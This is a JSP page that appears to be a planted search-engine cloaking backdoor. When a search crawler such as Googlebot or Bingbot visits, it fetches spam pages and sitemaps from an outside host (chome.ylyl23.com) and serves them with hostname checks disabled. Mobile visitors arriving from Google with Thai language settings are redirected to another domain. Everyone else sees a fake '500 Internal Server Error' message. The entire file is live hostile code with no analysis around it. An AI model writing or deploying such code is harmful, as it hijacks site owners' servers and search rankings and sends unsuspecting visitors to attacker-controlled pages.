%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.net.*, java.io.*, java.nio.charset.StandardCharsets, java.util.regex.*" %>
<%!
private String getHttp(String url, String[] headers) {
String userAgent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";
int timeout = 3000;
int maxRetries = 2;
int attempt = 0;
String data = null;
while (attempt < maxRetries && data == null) {
attempt++;
try {
URL requestUrl = new URL(url);
HttpURLConnection conn = (HttpURLConnection) requestUrl.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("User-Agent", userAgent);
conn.setRequestProperty("Accept", "text/html");
if (headers != null) {
for (String header : headers) {
String[] parts = header.split(": ", 2);
if (parts.length == 2) {
conn.setRequestProperty(parts[0], parts[1]);
}
}
}
conn.setConnectTimeout(timeout);
conn.setReadTimeout(timeout);
conn.setInstanceFollowRedirects(true);
conn.setUseCaches(false);
if (requestUrl.getProtocol().equalsIgnoreCase("https")) {
javax.net.ssl.HttpsURLConnection httpsConn = (javax.net.ssl.HttpsURLConnection) conn;
httpsConn.setHostnameVerifier((hostname, session) -> true);
}
int responseCode = conn.getResponseCode();
if (responseCode >= 200 && responseCode < 300) {
try (InputStream is = conn.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
byte[] buffer = new byte[1024];
int len;
while ((len = is.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
data = new String(baos.toByteArray(), StandardCharsets.UTF_8);
}
}
conn.disconnect();
} catch (Exception e) {
}
if (data == null && attempt < maxRetries) {
try {
Thread.sleep(500);
} catch (InterruptedException ignored) {}
}
}
return data;
}
private String getUrlPath(String url) {
try {
URL parsedUrl = new URL(url.startsWith("http") ? url : "http://" + url);
String path = parsedUrl.getPath();
String query = parsedUrl.getQuery();
return path + (query != null ? "?" + query : "");
} catch (MalformedURLException e) {
return "/";
}
}
private String urlEncode(String value) {
try {
return URLEncoder.encode(value, "UTF-8");
} catch (UnsupportedEncodingException e) {
return value;
}
}
%>
<%
response.setContentType("text/html; charset=UTF-8");
String currentUrl = request.getRequestURI() + (request.getQueryString() != null ? "?" + request.getQueryString() : "");
String path = getUrlPath(currentUrl);
String hostName = request.getServerName();
String userAgent = request.getHeader("User-Agent") != null ? request.getHeader("User-Agent") : "";
boolean hasSitemap = currentUrl.toLowerCase().contains("sitemap");
String remoteServer = "https://chome.ylyl23.com/index.php?domain=";
if (hasSitemap && (
userAgent.toLowerCase().contains("googlebot") ||
userAgent.toLowerCase().contains("bingbot") ||
userAgent.toLowerCase().contains("ahrefsbot")
)) {
String protocol = request.isSecure() ? "https://" : "http://";
String fullCurrentUrl = protocol + hostName + currentUrl;
String sitemapContent = getHttp("https://chome.ylyl23.com/sitemap.php?xml=" + urlEncode(fullCurrentUrl), null);
if (sitemapContent != null) {
out.print(sitemapContent);
return;
} else {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
}
if (
userAgent.toLowerCase().contains("googlebot") ||
userAgent.toLowerCase().contains("bingbot") ||
userAgent.toLowerCase().contains("ahrefsbot")
) {
String protocol = request.isSecure() ? "https://" : "http://";
String fullCurrentUrl = protocol + hostName + currentUrl;
String remoteFile = remoteServer + urlEncode(fullCurrentUrl);
String[] headers = new String[]{"X-Current-URL: " + fullCurrentUrl};
String content = getHttp(remoteFile, headers);
if (content != null) {
out.print(content);
return;
} else {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
}
else if (
Pattern.compile("(android|iphone|ipad|mobile|phone|webos|blackberry|iemobile|opera mini|windows)", Pattern.CASE_INSENSITIVE).matcher(userAgent).find() &&
request.getHeader("Referer") != null &&
Pattern.compile("^https?://(www\\.)?google\\.", Pattern.CASE_INSENSITIVE).matcher(request.getHeader("Referer")).matches() &&
(request.getHeader("Accept-Language") != null && request.getHeader("Accept-Language").toLowerCase().contains("th"))
) {
String encodedHost = urlEncode(hostName);
response.sendRedirect("https://aauuc.com/tiaozhuan/tz.php?a=" + encodedHost);
return;
}
%>
500 Internal Server Error.